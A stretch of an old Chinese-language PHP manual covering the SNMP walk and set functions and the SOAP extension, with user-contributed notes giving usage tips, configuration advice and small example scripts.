array snmprealwalk ( string host, string community, string object_id [, int timeout [, int retries]] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
railson at amixsi dot com dot br
31-May-2006 01:52
Attention: timeout is in microseconds (multiply by 1,000,000 for seconds)
Stephen Cope
10-Sep-2004 11:38
Here's a way to find the uptime and number of users on a machine. (Note that uptime is the uptime of the snmpd daemon, which should be fairly close to the uptime for the host.)

<?php
       $state = snmprealwalk($host, "public", ".1.3.6.1.2.1.25.1", 50, 1);
       $uptime = ereg_replace("^.*\) ([0-9]+ .*):[0-9][0-9]\.[0-9]{2}.*$", "\\1", $state['host.hrSystem.hrSystemUptime.0']);
       $users  = (int)ereg_replace("Gauge32: ", "", $state['host.hrSystem.hrSystemNumUsers.0']);
       printf('<div class="machine"><dt>%s</dt><dd>%s</dd>', $host, $desc);
       printf('<dd>up %s</dd>', $uptime);
       if ( $users ) printf('<dd>%d user%s</dd>', $users, ($users > 1) ? 's' : '');
       printf('</div>');
?>
Lars Troen
24-Feb-2003 09:30
snmprealwalk indexes the values using the oid instead of an integer. This is useful when you need data that is contained in the oid as well as the value.

Here's an example for retrieving and printing vlan info:
//
// I have collected the vlan identifiers earlier from the 3com mib and they are stored in the $vlan table.
//
  for($n=0;$n<count($vlan);$n++){
   print $vlan[$n][id]."  ".$vlan[$n][name]."<br>\n";
   $ifStackStatusTable=@snmprealwalk($switch, $community, ".1.3.6.1.2.1.31.1.2.1.3.".$vlan[$n][id]); // ifMIB.ifMIBObjects.ifStackTable.ifStackEntry.ifStackStatus
   for(reset($ifStackStatusTable);  $port = key($ifStackStatusTable);  next($ifStackStatusTable)){
     print "$port=$ifStackStatusTable[$port]<br>";
     }
add a note add a note

后退 | 起点 | 前进
snmpgetnext | 上一级 | snmpset


snmpset

(PHP 3 >= 3.0.12, PHP 4, PHP 5)

snmpset -- 设置一个 SNMP 对象

描述

bool snmpset ( string hostname, string community, string object_id, string type, mixed value [, int timeout [, int retries]] )

设置指定的 SNMP 对象的值，成功返回 TRUE，错误则返回 FALSE。

函数 snmpset() 用于设置由 object_id 指定的 SNMP 对象的值。hostname 指定 SNMP 代理，而 community 参数指定具有读权限的域。

add a note add a note User Contributed Notes
slawrance at technologist dot com
21-Jul-1999 03:01
The "type" parameter must be one of the following, depending on the type of
variable to set on the SNMP host:

i    INTEGER
u    unsigned INTEGER
t    TIMETICKS
a    IPADDRESS
o    OBJID
s    STRING
x    HEX STRING
d    DECIMAL STRING

If OPAQUE_SPECIAL_TYPES was defined while compiling the SNMP library, the
following are also valid:

U    unsigned int64
I    signed int64
F    float
D    double

As an example, using "i" would set an integer, and "s" would set a string.  If the SNMP host rejects the data type, you might get the following message: "Warning: Error in packet. Reason: (badValue) The value given has the wrong type or length."

If you specify an unknown or invalid OID, you might get a "Could not add variable" message.  When specifying an absolute OID (one that is already resolved) that is completely numeric, prepend it with a period.  For example, an OID that could enable/disable Ethernet ports on an Asante hub might be "1.3.6.1.2.1.22.1.3.1.1.3.6.4.0", but you would need to use ".1.3.6.1.2.1.22.1.3.1.1.3.6.4.0" in the OID parameter so that the SNMP library won't try to resolve an already resolved OID.  Friendly, unresolved OIDs do not need the period prepended, such as "system.SysContact.0"
add a note add a note

后退 | 起点 | 前进
snmprealwalk | 上一级 | snmpwalk


snmpwalk

(PHP 3, PHP 4, PHP 5)

snmpwalk -- 从代理返回所有的 SNMP 对象

描述

array snmpwalk ( string hostname, string community, string object_id [, int timeout [, int retries]] )

返回由 object_id 作为根的 SNMP 对象值所组成的数组，错误则返回 FALSE。

snmpwalk() 函数是用来读取所有由 hostname 指定的 SNMP 代理的值。Community 指定该代理中具有读权限的域。一个为 NULL 的 object_id 将被看作 SNMP 对象树的根，而在此树下的所有对象将作为一个数组被返回。如果指定了 object_id，则返回所有在 object_id 下的 SNMP 对象。

<?php
$a = snmpwalk("127.0.0.1", "public", "");
?>

上边的函数调用将从运行于本机的 SNMP 代理那里返回所有的 SNMP 对象。可使用循环遍历这些值。

<?php
for ($i=0; $i < count($a); $i++) {
    echo $a[$i];
}
?>

add a note add a note User Contributed Notes
http://mike.eire.ca
24-Mar-2005 02:54
I found on Windows (PHP 5) an empty string did not return anything, it just timed out.  I had to use null instead:

<?php
$a = snmpwalk("127.0.0.1", "public", null);
?>
bobby [dot] clark [at] eku [dot] edu
18-Sep-2003 05:29
I had to use an object_id like these.
'SNMPv2-MIB::system.sysDescr.0'
'IF-MIB::interfaces.ifTable.ifEntry.ifAdminStatus'

<?php
$host = '192.168.1.1';
$community = 'public';
$object_id = 'IF-MIB::interfaces.ifTables.ifEntry.ifAdminStatus';

$sysdesc = snmpwalk($host, $community', $object_id);
print_r($sysdesc);
?>
Lars Troen
14-Mar-2003 07:18
Note that there's different behaviuor in php snmpwalk and ucd snmpwalk. If you try to walk an oid that has one value not under a subkey of the walked oid, ucd snmpwalk will return the value while php's snmpwalk will not.
anders at ei dot nu
30-Jan-2003 02:11
It would be nice to be able to specify what snmp version to use ( 1,2c,3 )

For now, I'ts hardcoded in ext/snmp/snmp.c

change session.version from 1 to 2c or 3 if you need for now..

i.e

session.version = SNMP_VERSION_1;

to:
session.version = SNMP_VERSION_2c;
steve at ourabode dot org
26-Mar-2002 07:54
Timeout is in MICRO seconds.
1,000,000 &micros = 1 s
layer2 at www dot com
29-Aug-2001 11:52
Something to care about in dealing with snmpwalk:<BR>
While walking the MIB, snmpwalk puts info that gets into an array, and that is correct.<BR>
The trouble happened when snmpwalk needs to collect information from instances that contains subinstances (i.e. walking .1.2.3.4.5 and having instances like 1.1, 1.2, 1.3): in this case it gets info and passes into an array, but when walking the array, each value is preceeded by 'Counter32: '.<BR>
I've tested this in many ways and it always happened the same way.
john at antefacto dot com
17-Aug-2001 11:21
Ah. That's why all of our SNMP stuff was timing out anytime there was any load on the system. Sigh. A waste of two weeks trying to debug snmp....

 Even the snmpcmd manpage doesn't give a
unit for timeout.
billf at freebsd dot org
01-Aug-2001 05:22
for the poster wondering what the
timeout field was measured in:

from the ucd-snmp header file snmp_api.h:

   long    timeout;
   /* Number of uS until first timeout
   then exponential backoff */
jmartinson(AT_nospam)info234.com
20-Jun-2001 10:41
A quick router device view:

<?
include "header.html";

$host = "auscr1";
$community = "tellme";

$sysDescr = snmpget("$host","$community","system.sysDescr.0");
$ifDescr = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifDescr");
$ifIndex = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifIndex");
$ifAdminStatus = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifAdminStatus");
$ifOperStatus = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifOperStatus");
$ifLastChange = snmpwalk("$host","$community","interfaces.ifTable.ifEntry.ifLastChange");

print "<table border=1 bgcolor=#ffffff><tr><td>$host</td></tr></table><br>";
print "<table border=1 bgcolor=#ffffff><tr><td>$sysDescr</td></tr></table><br>";
print "<table border=1 bgcolor=#ffffff>";
print "<tr>
       <td>ifIndex</td>
       <td>ifDescr</td>
       <td>ifAdminStatus</td>
       <td>ifOperStatus</td>
       <td>ifLastChange</td>
       </tr>";

for ($i=0; $i<count($ifIndex); $i++) {
       print "<tr>";
       print "<td>$ifIndex[$i]</td>";
       print "<td>$ifDescr[$i]</td>";
       print "<td>$ifAdminStatus[$i]</td>";
       print "<td>$ifOperStatus[$i]</td>";
       print "<td>$ifLastChange[$i]</td>";
       print "</tr>";
}
print "</table>";

?>
add a note add a note

后退 | 起点 | 前进
snmpset | 上一级 | snmpwalkoid


snmpwalkoid

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

snmpwalkoid -- 查询关于网络实体的信息树

描述

array snmpwalkoid ( string hostname, string community, string object_id [, int timeout [, int retries]] )

返回一个包含对象 id 及它们各自对象值的关联数组，这些对象以 object_id 作为根，错误则返回 FALSE。

snmpwalkoid() 用于从 hostname 所指定的 SNMP 代理那里读取所有对象 id 及它们各自的值。community 指定对于该代理有读权限的域。一个为 NULL 的 object_id 将被看作 SNMP 对象树的根，而在此树下的所有对象将作为一个数组被返回。如果指定了 object_id，则返回所有在 object_id 下的 SNMP 对象。

snmpwalkoid() 和 snmpwalk() 的同时存在出于历史原因。提供两个函数是为了向后兼容。

<?php
$a = snmpwalkoid("127.0.0.1", "public", "");
?>

上边的函数调用将从运行于本机的 SNMP 代理那里返回所有的 SNMP 对象。可使用循环遍历这些值。

<?php
for (reset($a); $i = key($a); next($a)) {
    echo "$i: $a[$i]<br>\n";
}
?>

add a note add a note User Contributed Notes
thammer at rtccom dot com
14-Jun-2005 11:29
The above note mentions that the MAC addresses come back converted to integers or something funky like that. Not sure why that is happening but I fixed that with a wrapper function.

function PadMAC($mac) {
   $mac_arr = explode(':',$mac);
   foreach($mac_arr as $atom) {
       $atom = trim($atom);
       $newarr[] = sprintf("%02s",$atom);
   }
   $newmac = implode(':',$newarr);
   return $newmac;
}

Maybe that will help somebody with that issue. I know I personally use the heck out of these user contributed notes
gene_wood at example dot com
15-Oct-2004 12:23
Looks like timeout is in MICRO seconds.
1,000,000 &micros = 1 s
jasper at pointless dot net
07-Jan-2001 11:21
N.B. it's possible for snmpwalkoid to lose data - the "rmon.matrix.matrixSDTable" table for example uses binary mac addresses as part of the index, these get converted to ascii, and by the time they get to php they can be non-unique - so some entrys in the table get lost...
add a note add a note

后退 | 起点 | 前进
snmpwalk | 上一级 | SOAP Functions


SOAP Functions

PHP 手册
后退 前进

CXXXVI. SOAP Functions

简介

The SOAP extension can be used to write SOAP Servers and Clients. It supports subsets of SOAP 1.1, SOAP 1.2 and WSDL 1.1 specifications.

需求

This extension makes use of the GNOME xml library. Download and install this library. You will need at least libxml-2.5.4.

安装

This extension is only available if PHP was configured with --enable-soap.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. SOAP Configuration Options

Name | Default | Changeable | Changelog
soap.wsdl_cache_enabled | "1" | PHP_INI_ALL | Available since PHP 5.0.0.
soap.wsdl_cache_dir | "/tmp" | PHP_INI_ALL | Available since PHP 5.0.0.
soap.wsdl_cache_ttl | "86400" | PHP_INI_ALL | Available since PHP 5.0.0.
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

soap.wsdl_cache_enabled boolean

Enables or disables the WSDL caching feature.

soap.wsdl_cache_dir string

Sets the directory name where the SOAP extension will put cache files.

soap.wsdl_cache_ttl int

Sets the number of seconds (time to live) that cached files will be used instead the originals.

预定义类

SoapClient

构造函数

  • SoapClient->__construct() - constructs a new SoapClient object

方法

  • SoapClient->__call() - Calls a SOAP function (deprecated)

  • SoapClient->__doRequest() - Performs a SOAP request

  • SoapClient->__getFunctions() - Returns list of SOAP functions

  • SoapClient->__getLastRequest() - Returns last SOAP request

  • SoapClient->__getLastRequestHeaders() - Returns last SOAP request headers

  • SoapClient->__getLastResponse() - Returns last SOAP response

  • SoapClient->__getLastResponseHeaders() - Returns last SOAP response headers

  • SoapClient->__getTypes() - Returns list of SOAP types

  • SoapClient->__setCookie() - Sets the cookie that will be sent with the SOAP request

  • SoapClient->__soapCall() - Calls a SOAP function

SoapFault

构造函数

  • SoapFault->__construct() - construct a new SoapFault object

SoapHeader

SoapHeader is a special low-level class for passing or returning SOAP headers. It's just a data holder and it does not have any special methods except its constructor. It can be used in the SoapClient->__soapCall() method to pass a SOAP header or in a SOAP header handler to return the header in a SOAP response.

构造函数

  • SoapHeader->__construct() - construct a new SoapHeader object

SoapParam

SoapParam is a special low-level class for naming parameters and returning values in non-WSDL mode. It's just a data holder and it does not have any special methods except its constructor.

构造函数

  • SoapParam->__construct() - construct a new SoapParam object

SoapServer

构造函数

  • SoapServer->__construct() - construct a new SoapServer object

方法

  • SoapServer->addFunction() - Adds one or several functions those will handle SOAP requests

  • SoapServer->fault() -

  • SoapServer->getFunctions() - Returns list of defined functions

  • SoapServer->handle() - Handles a SOAP request

  • SoapServer->setClass() - Sets class which will handle SOAP requests

  • SoapServer->setPersistence() - Sets persistence mode of SoapServer

SoapVar

SoapVar is a special low-level class for encoding parameters and returning values in non-WSDL mode. It's just a data holder and does not have any special methods except the constructor. It's useful when you want to set the type property in SOAP request or response.

构造函数

  • SoapVar->__construct() - construct a new SoapVar object

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

SOAP_1_1 (integer)

SOAP_1_2 (integer)

SOAP_PERSISTENCE_SESSION (integer)

SOAP_PERSISTENCE_REQUEST (integer)

SOAP_FUNCTIONS_ALL (integer)

SOAP_ENCODED (integer)

SOAP_LITERAL (integer)

SOAP_RPC (integer)

SOAP_DOCUMENT (integer)

SOAP_ACTOR_NEXT (integer)

SOAP_ACTOR_NONE (integer)

SOAP_ACTOR_UNLIMATERECEIVER (integer)

SOAP_COMPRESSION_ACCEPT (integer)

SOAP_COMPRESSION_GZIP (integer)

SOAP_COMPRESSION_DEFLATE (integer)

UNKNOWN_TYPE (integer)

XSD_STRING (integer)

XSD_BOOLEAN (integer)

XSD_DECIMAL (integer)

XSD_FLOAT (integer)

XSD_DOUBLE (integer)

XSD_DURATION (integer)

XSD_DATETIME (integer)

XSD_TIME (integer)

XSD_DATE (integer)

XSD_GYEARMONTH (integer)

XSD_GYEAR (integer)

XSD_GMONTHDAY (integer)

XSD_GDAY (integer)

XSD_GMONTH (integer)

XSD_HEXBINARY (integer)

XSD_BASE64BINARY (integer)

XSD_ANYURI (integer)

XSD_QNAME (integer)

XSD_NOTATION (integer)

XSD_NORMALIZEDSTRING (integer)

XSD_TOKEN (integer)

XSD_LANGUAGE (integer)

XSD_NMTOKEN (integer)

XSD_NAME (integer)

XSD_NCNAME (integer)

XSD_ID (integer)

XSD_IDREF (integer)

XSD_IDREFS (integer)

XSD_ENTITY (integer)

XSD_ENTITIES (integer)

XSD_INTEGER (integer)

XSD_NONPOSITIVEINTEGER (integer)

XSD_NEGATIVEINTEGER (integer)

XSD_LONG (integer)

XSD_INT (integer)

XSD_SHORT (integer)

XSD_BYTE (integer)

XSD_NONNEGATIVEINTEGER (integer)

XSD_UNSIGNEDLONG (integer)

XSD_UNSIGNEDINT (integer)

XSD_UNSIGNEDSHORT (integer)

XSD_UNSIGNEDBYTE (integer)

XSD_POSITIVEINTEGER (integer)

XSD_NMTOKENS (integer)

XSD_ANYTYPE (integer)

SOAP_ENC_OBJECT (integer)

SOAP_ENC_ARRAY (integer)

XSD_1999_TIMEINSTANT (integer)

XSD_NAMESPACE (string)

XSD_1999_NAMESPACE (string)

目录
is_soap_fault -- Checks if SOAP call was failed
SoapClient->__call() -- Calls a SOAP function (deprecated)
SoapClient->__construct() -- SoapClient constructor
SoapClient->__doRequest() -- Performs a SOAP request
SoapClient->__getFunctions() -- Returns list of SOAP functions
SoapClient->__getLastRequest() -- Returns last SOAP request
SoapClient->__getLastRequestHeaders() -- Returns last SOAP request headers
SoapClient->__getLastResponse() -- Returns last SOAP response.
SoapClient->__getLastResponseHeaders() -- Returns last SOAP response headers.
SoapClient->__getTypes() -- Returns list of SOAP types
SoapClient->__setCookie() -- Sets the cookie that will be sent with the SOAP request
SoapClient->__soapCall() -- Calls a SOAP function
SoapFault->__construct() -- SoapFault constructor
SoapHeader->__construct() -- SoapHeader constructor
SoapParam->__construct() -- SoapParam constructor
SoapServer->addFunction() -- Adds one or several functions those will handle SOAP requests
SoapServer->__construct() -- SoapServer constructor
SoapServer->fault() -- Issue SoapServer fault indicating an error
SoapServer->getFunctions() -- Returns list of defined functions
SoapServer->handle() -- Handles a SOAP request
SoapServer->setClass() -- Sets class which will handle SOAP requests
SoapServer->setPersistence() -- Sets persistence mode of SoapServer
SoapVar->__construct() -- SoapVar constructor
use_soap_error_handler -- Set whether to use the SOAP error handler and return the former value

add a note add a note User Contributed Notes
lists at 5etdemi dot com
14-Mar-2006 10:26
To enable SoapClient on Windows, simply add a line:

extension=php_soap.dll

in php.ini in the extensions section.
adm
02-Mar-2006 03:27
Wondering why the function you just added to your WSDL file is not available to your SOAP client? Turn off WSDL caching, which (as the documentation says) is on by default.

At the top of your script, use:

$ini = ini_set("soap.wsdl_cache_enabled","0");
Matthew Glubb
21-Jan-2006 12:05
For anyone wondering why they are getting a "DTD are not supported by SOAP" fault string. It is because you are probably being returned an HTML page due to an internal server error, 404, etc.

Refer to the documentation for SoapClient->__getLastResponse in order to see what returned by the server.
ckl at ecw dot de
17-Jan-2006 03:54
To debug a SOAP service using SoapServer(), a WSDL file and Zend Studio Client/Server, you have to append ?start_debug=1&amp;debug_port=10000 to the service location:
--- snip ---
... method / service definition ....

<service name="SOAPService">
  <port
   name="SOAPServicePort"
   binding="typens:SOAPServiceBinding">
   <soap:address
   location="$URL?start_debug=1&amp;debug_port=10000"/>
  </port>
</service>
--- snap ---
Rui Martins
19-Dec-2005 12:33
Here's an example on how to pass ArrayOfAnyType arguments
containing complex types.

Suppose your WSDL file defines "http://any.url.com/" as the default namespace and a complex type "SomeComplexType".

If you want to call a WebServices which takes an ArrayOfAnyType argument of "SomeComplexType"s you need to perform the following:

<?php
// complexTypes being an array containing several instances of SomeComplexType

myWSParameter = array();
foreach (complexTypes as ct)
{
   // Don't misspell the type or the namespace. Also note that php won't assume the default namespace defined in the WSDL file.
   myWSParameter []= new SoapVar(ct, 0, "SomeComplexType", "http://any.url.com/");
}
?>

On the other hand, when a WebService returns an ArrayOfAnyType you have to do the following to access each of its elements.

<?php
// Here, we will be echoing each return item
$res = $someWS->myFunction($myArgs)

// If only one element is returned, an array won't be built
if (is_array(myFunctionResult->anyType))
{
   foreach (myFunctionResult->anyType as $soapVar)
   {
     echo $soapVar->enc_value;
   }
}
else
{
   echo myFunctionResult->anyType->enc_value;
}
?>

This has all been tested using a .NET WebService.
ChrisB
24-Oct-2005 02:03
Heads up for anyone using PHP Soap + Sessions + PEAR DB classes.

Every time you make a call, via the soap client to your web service, your PEAR DB session is put to sleep and it doesnt by default wake upon the next request.

To fix this I simply called my particular database close call ifx_close() below my $soap->handle();
Bob
12-Oct-2005 04:17
If you are scratching your head why NuSOAP not working on PHP 5.x , the reason is this built-in SOAP Extenstion uses same soapclient() class name as Nusoap.

replace 'soapclient' with 'soapclient_xxx'  in nusoap.php and you are good to go...
john
30-Sep-2005 12:32
Those having to work with Paypal's api and using PHP5 SOAP:

http://www.johnjawed.com/ppo/
johnjawed at gmail dot com
23-Sep-2005 12:29
For those wondering on how to set attributes on nodes with PHP5 SOAP, it would be done as such:

<... soap env/header>
<foo bar="blah">12345</foo>

array("foo" => array("_" => 12345, "bar" => "blah"));
Darryl
21-Jul-2005 02:46
Having trouble passing complex types over SOAP using a PHP SoapServer in WSDL mode?  Not getting decoded properly?  This may be the solution you're looking for!

When using ComplexType in the schema portion of the WSDL file, You need use an additional step to tell PHP SOAP how to encode the objects.  The first method would be to explicitely encapsulate the object in a SoapVar object - telling PHP to use generalized SOAP encoding rules (which encodes all ComplexTypes as Structs).  This won't work, though, if the client is expecting the objects to be encoded according to the WSDL's schema.  So, The actual way to do this is:

* First, define a specific PHP class which is actually just a data structure holding the various properties, and the appropriate  ComplexType in the WSDL.

<?php
 class MyComplexDataType {
     public $myProperty1;
     public $myProperty2;
 }
?>
 <complexType name="MyWSDLStructure">
 <sequence>
   <element name="MyProperty1" type="xsd:integer"/>
   <element name="MyProperty2" type="xsd:string"/>
 </sequence>
 </complexType>

* Next, Tell the SoapServer when you initialize it to map these two structures together.

<?php
 $classmap = array('MyWSDLStructure' => 'MyComplexDataType');
 $server = new SoapServer("http://MyServer/MyService.wsdl", array('classmap' => $classmap))
?>

* Finally, have your method return an instance of your class directly, and let the SoapServer take care of encoding!

<?php
 public function MySoapCall() {
     $o = new MyComplexDataType();

     $o->myProperty1 = 1;
     $o->myProperty2 = "MyString";

     return $o
 }
?>
Jim Plush
13-Jul-2005 07:45
If you're trying to use the SOAP Extension over SSL with a custom PEM file you need to do this:

$client->_local_cert = "C:\\path\myCert.pem";
pash_ka
18-May-2005 03:52
One good tutorial on using this extension is on IBM web site:
"Using the PHP 5 SOAP extension to consume a WebSphere Web service"
http://www.ibm.com /developerworks/library/os-phpws/?ca=dgr-lnxw06PHP5soap
flobee at gmail dot com
12-May-2005 04:25
wow, actually a cool program and soap is new for me.
I found out some interessting things i can not debug because the scripts exit without any error messages or notes. :-(

you may have problems with the memory and/or especially on "shared servers" when server load is high.
sometimes the script does the job, sometimes it just stopping at any unknown point.
these are the steps my script does:
* get data from remote server ( ~ 4.5 MB)
* parsing requested object and store the data in a database.

the return with debug messages was intressting:
-> check Mem limit: 30M
-> $client = new new SoapClient($url_wsdl, $options);
-> Memory usage: 185888
-> $client->[requested_method_to_get_data]();
-> check: __getLastResponseHeaders() - after:
-> HTTP/1.1 200 OK // remote server is fine with me :-)
-> Content-Length: 4586742  // I got the data
-> check: Memory usage now: 23098872 // ups !!! this can't be true!!

so, and if now someone on the server takes the rest of RAM  the walk thought the data breaks :-(

so, i need to store the xml tree ($client->client->__last_response) and parsing it by the classical way. (if you would request more RAM, you may get in trouble with the admin if you run a script like this more often! (on shared servers)
OrionI
18-Apr-2005 11:12
If you're having problems calling a .NET web service, see the comments over on http://php.net/soap_soapclient_soapcall (the __soapCall method).
kucerar at hhmi dot org
26-Mar-2005 04:04
Here are 73 test cases that detail the kinds of schemas that PHP5 currently supports and the structures you are expected to plug into them for the return value from your services.  Much better than trying to guess!

http://cvs.php.net/co.php/pecl/soap/tests/schema

You can cycle through the listings by changing the main index in the URL below,  rather than go in and out of the pages

http://cvs.php.net/co.php/pecl/soap/tests/schema/schema052.phpt?r=1.2

I downloaded the whole thing with this,  CVS might work too.
http://www.httrack.com/

With them all downloaded I just browse them with Textpad.
Norman Clarke <norman at dontblink dot com>
22-Feb-2005 08:29
Note that if you should need to set the timeout for your soap request,  you can use ini_set to change the value for the default_socket_timeout. I previously used NuSOAP, whose soap client class has a timeout option, and it took me a while to figure out that PHP's soap uses the same socket options as everything else.
wokan at cox dot net
06-Feb-2005 09:06
It's not good security practice to pass the username and password in the URI when the point of SSL is to prevent that information from being intercepted.  Putting that information in the URI makes it interceptable.  HTTPS-Posted values are safe because values passed in the headers are sent after the SSL handshake has been completed.
martin AT kouba DOT at
26-Jan-2005 01:11
this is something i wrote to access a webservice with php4

http://kouba.at/projects/soap/
03-Dec-2004 11:06
here i found a good collection of tutorials all around soap/web services and/or rss:
http://www.dynamic-webpages.de/05.tutorials.php?kategorie=39
mikx at mikx dot de
30-Mar-2004 12:12
It took me a while to properly establish a password protected client connection via https on windows/apache1.3. Here my little guide:

1. The SOAP extension isn't activated by default (PHP5 RC1). Just add "extension=php_soap.dll" to the php.ini and don't forget to set the extension_dir properly (in most cases "c:\php\ext").

2. Add "extension=php_openssl.dll" to the php.ini. This module depends on libeay32.dll and ssleay32.dll - copy them from your php folder to your system32 folder.

3. Restart apache

4. The sourcecode

$client = new SoapClient("https://yourLogin:yourPassword@foo.com/bar.wsdl", array(
   "login"      => "yourLogin",
   "password"  => "yourPassword",
   "trace"      => 1,
   "exceptions" => 0));

$client->yourFunction();

print "<pre>\n";
print "Request: \n".htmlspecialchars($client->__getLastRequest()) ."\n";
print "Response: \n".htmlspecialchars($client->__getLastResponse())."\n";
print "</pre>";

Currently it seems to be necessary to add your login and password both in the uri and in the options array. Not sure if this is the expected behavior.
add a note add a note

后退 | 起点 | 前进
snmpwalkoid | 上一级 | is_soap_fault


is_soap_fault

(PHP 5)

is_soap_fault -- Checks if SOAP call was failed

说明

bool is_soap_fault ( mixed obj )

This function is useful when you like to check if the SOAP call failed, but don't like to use exceptions. To use it you must create a SoapClient object with the exceptions option set to zero or FALSE. In this case, the SOAP method will return a special SoapFault object which encapsulates the fault details (faultcode, faultstring, faultactor and faultdetails).

If exceptions is not set then SOAP call will throw an exception on error. is_soap_fault() checks if the given parameter is a SoapFault object.

参数

obj

The tested object.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. is_soap_fault() example

<?php
$client = new SoapClient("some.wsdl", array('exceptions' => 0));
$result = $client->SomeFunction();
if (is_soap_fault($result)) {
    trigger_error("SOAP Fault: (faultcode: {$result->faultcode}, faultstring: {$result->faultstring})", E_ERROR);
}
?>

例子 2. SOAP's standard method for error reporting is exceptions

<?php
try {
    $client = new SoapClient("some.wsdl");
    $result = $client->SomeFunction(/* ... */);
} catch (SoapFault $fault) {
    trigger_error("SOAP Fault: (faultcode: {$fault->faultcode}, faultstring: {$fault->faultstring})", E_ERROR);
}
?>

参见

SoapClient->__construct()
SoapFault->__construct()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SOAP Functions | 上一级 | SoapClient->__call()


SoapClient->__call()

(no version information, might be only in CVS)

SoapClient->__call() -- Calls a SOAP function (deprecated)

说明

class SoapClient {

mixed __call ( string function_name, array arguments [, array options [, array input_headers [, array output_headers]]] )

}

This method is deprecated. Use SoapClient->__soapCall() instead of it.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
is_soap_fault | 上一级 | SoapClient->__construct()


SoapClient->__construct()

(no version information, might be only in CVS)

SoapClient->__construct() -- SoapClient constructor

说明

class SoapClient {

__construct ( mixed wsdl [, array options] )

}

This constructor creates SoapClient objects in WSDL or non-WSDL mode.

参数

wsdl

URI of the WSDL file or NULL if working in non-WSDL mode.

options

An array of options. If working in WSDL mode, this parameter is optional. If working in non-WSDL mode, you must set the location and uri options, where location is the URL to request and uri is the target namespace of the SOAP service.

The style and use options only work in non-WSDL mode. In WSDL mode, they come from the WSDL file.

The soap_version option specifies whether to use SOAP 1.1, or SOAP 1.2 client.

For HTTP authentication, you may use the login and password options. For making an HTTP connection through a proxy server, use the options proxy_host, proxy_port, proxy_login and proxy_password. For HTTPS client certificate authentication use local_cert and passphrase options.

The compression option allows to use compression of HTTP SOAP requests and responses.

The encoding option defines internal character encoding. This option does not change the encofing of SOAP requests (it is always utf-8), but converts strings into it.

The classmap option can be used to map some WSDL types to PHP classes. This option must be an array with WSDL types as keys and names of PHP classes as values.

The trace and exceptions options are useful for debuging purpose.

范例

例子 1. SoapClient examples

<?php

$client = new SoapClient("some.wsdl");

$client = new SoapClient("some.wsdl", array('soap_version'   => SOAP_1_2));

$client = new SoapClient("some.wsdl", array('login'          => "some_name",
                                            'password'       => "some_password"));

$client = new SoapClient("some.wsdl", array('proxy_host'     => "localhost",
                                            'proxy_port'     => 8080));

$client = new SoapClient("some.wsdl", array('proxy_host'     => "localhost",
                                            'proxy_port'     => 8080,
                                            'proxy_login'    => "some_name",
                                            'proxy_password' => "some_password"));

$client = new SoapClient("some.wsdl", array('local_cert'     => "cert_key.pem"));

$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
                                     'uri'      => "http://test-uri/"));

$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
                                     'uri'      => "http://test-uri/",
                                     'style'    => SOAP_DOCUMENT,
                                     'use'      => SOAP_LITERAL));

$client = new SoapClient("some.wsdl",
  array('compression' => SOAP_COMPRESSION_ACCEPT | SOAP_COMPRESSION_GZIP));

$server = new SoapClient("some.wsdl", array('encoding'=>'ISO-8859-1'));

class MyBook {
    public $title;
    public $author;
}

$server = new SoapClient("books.wsdl", array('classmap' => array('book' => "MyBook")));

?>

add a note add a note User Contributed Notes
Marius Mathiesen
01-Mar-2006 08:57
I kept having a problem using an HTTP proxy with SOAP. The proxy_port parameter has to be an integer, ie. "proxy_port"=>"80" won't work, you'll have to use "proxy_port"=>80.

HTH,
Marius
php at sowen dot de
22-Dec-2005 10:40
If you're using CLI and there are multiple IP addresses available for outgoing SOAP-requests, try this "secret" to set outgoing IP:

e.g. for local IP 10.1.4.71:

$opts = array('socket' => array('bindto' => '10.1.4.71:0'));
$context = stream_context_create($opts);
$client  = new SoapClient(null, array('location'=>'http://...','uri' => '...','stream_context' => $context));

You can also set other options for the stream context, please refer to this page:

Appendix M: http://www.php.net/manual/en/wrappers.php

Bye,
   Nils Sowen
fakko at users dot sourceforge dot net
25-Oct-2005 08:45
For development with wsdl you should disable wsdl caching because otherwise changes to the wsdl file will have no effect until soap.wsdl_cache_ttl expired!
bp
29-Aug-2005 01:19
The trace option IS documented, just not on this page. You need to have trace set to true in order to use the __getLast... methods.
jared at ws-db dot com
29-Aug-2005 05:31
If you connect to a SoapServer, that has been created with session persistence, you can access the server's session id via SoapClient->_cookies[<session_id_name>][0]. This property becomes available after your first client method call.

I have only tested this with session.use_cookies=1.
Jim Plush
19-Aug-2005 07:17
an undocumented feature -> setting a connection timeout

$client = new SoapClient($wsdl, array("connection_timeout"=>5));

ideally you'd have two timeouts set in your application one for how long it should take to actually connect to your remote host and a timeout for how long the socket connection should wait for a response from the server

the above addresses the time it takes to wait to connect to your host and this addresses the time to wait for a response

ini_set('default_socket_timeout', 180);

I would wrap this in a configuration option in case you distribute your package and different clients might need different timeouts when dealing with slow soap server responses.

// SET SOCKET TIMEOUT
       if(defined('RESPONSE_TIMEOUT') &&  RESPONSE_TIMEOUT != '') {
           ini_set('default_socket_timeout', RESPONSE_TIMEOUT);
       }
Arjan van Bentem
12-Aug-2005 02:31
When using HTTP basic authentication, PHP will only send the credentials when invoking the service, not when fetching the WSDL.

To solve this, one needs to fetch the WSDL manually (or using PHP, of course!) and store it on the file system. Obviously, the first parameter for SoapClient(..) then needs to refer to that local copy.

Alternatively, the user annotations at http://nl3.php.net/manual/en/ref.soap.php state that one could encode the login and password into the URL as well.

See http://bugs.php.net/bug.php?id=27777
marcus at synchromedia dot co dot uk
12-Jul-2005 10:30
The trace and exceptions options are not well documented. Both are simple booleans, so you set them like so:

$sc = new SoapClient("http://www.example.com/my.wsdl", array('trace' => true, 'exceptions' => true));

